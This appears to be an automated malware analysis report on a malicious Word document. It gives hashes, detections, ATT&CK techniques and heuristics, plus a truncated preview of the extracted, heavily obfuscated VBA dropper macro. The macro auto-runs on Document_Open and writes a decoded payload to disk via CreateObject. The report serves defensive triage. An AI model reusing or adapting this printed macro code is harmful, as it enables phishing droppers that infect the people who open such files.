Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97988dfdd7e49192…

MALICIOUS

Office (OLE)

1.87 MB Created: 2018-01-13 13:36:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: ac237c73c85c9007d05a72b461edbb91 SHA-1: 4f8ac54df012c817a5c704c2db586d077cc43255 SHA-256: 97988dfdd7e49192186167e5bba901505b4b4a804f19b8747450964c8b84672c
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute upon opening. Heuristics indicate the use of CreateObject and a "macro-enable lure" to trick the user into enabling content. The VBA code is heavily obfuscated but appears to construct a string for CreateObject and likely downloads a second-stage payload. ClamAV detection as 'Doc.Dropper.Agent' further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6421377-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6421377-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 492776 bytes
SHA-256: 389bcd248a908e000d25e83b76a6a75b33cfc0e3ad24fa5c9eff9dca44491d55
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 658 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Option Explicit

Sub Document_Open()
On Error Resume Next

szAOM

Dim NFQJe As String
NFQJe = htIJR(vcyyb)
Dim uGYke As String
uGYke = uOBsh(VHRKN(13566, 13485))
uGYke = krfbG(uGYke, uOBsh(VHRKN(15264, 15299)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(21065, 21051)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(18477, 18500)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(11967, 11983)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(11591, 11571)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(18477, 18500)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(15498, 15588)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(17249, 17158)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(20005, 19979)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(11249, 11191)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(18477, 18500)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(12039, 12139)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(12620, 12585)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(13566, 13485)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(14732, 14837)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(15087, 15004)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(11591, 11571)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(12620, 12585)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(15703, 15674)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(16772, 16843)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(17010, 16912)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(15028, 15070)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(12620, 12585)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(15264, 15299)))
uGYke = krfbG(uGYke, uOBsh(VHRKN(11591, 11571)))
Dim jIfAW As Object
Set jIfAW = CreateObject(uGYke)
Dim dzkHb As Object
Dim ZOqzs As String
ZOqzs = ""
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(14667, 14600)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(11422, 11428)))
ZOqzs = krfbG(ZOqzs, "\")
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(20111, 20191)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(21065, 21051)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(16858, 16821)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(17249, 17158)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(21065, 21051)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(20373, 20468)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(15703, 15674)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(16544, 16612)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(20373, 20468)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(11591, 11571)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(20373, 20468)))
ZOqzs = krfbG(ZOqzs, "\")
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(14512, 14567)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(18477, 18500)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(15498, 15588)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(11203, 11175)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(16858, 16821)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(11187, 11204)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(15087, 15004)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(12164, 12234)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(11664, 11716)))
ZOqzs = krfbG(ZOqzs, "\")
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(14512, 14567)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(18477, 18500)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(15498, 15588)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(11203, 11175)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(16858, 16821)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(11187, 11204)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(15087, 15004)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(12164, 12234)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(11664, 11716)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(20005, 19979)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(18477, 18500)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(15498, 15588)))
ZOqzs = krfbG(ZOqzs, uOBsh(VHRKN(18477, 18500)))


Set dzkHb = jIfAW.CreateTextFile(ZOqzs, True, True)
dzkHb.Write NFQJe
dzkHb.Close


AbmAx
iaSWW
End Sub

Public Function iaSWW()
    Dim tFZwJ As Object
    Dim GuvjU As String
    GuvjU = ""
    GuvjU = krfbG(GuvjU, uOBsh(VHRKN(13566, 13485)))
    GuvjU = krfbG(GuvjU, uOBsh(VHRKN(17658, 17554)))
    GuvjU = krfbG(GuvjU, uOBsh(VHRKN(12620, 12585)))
    GuvjU = krfbG(GuvjU, uOBsh(VHRKN(12039, 12139)))
    GuvjU = krfbG(Guvj
... (truncated)

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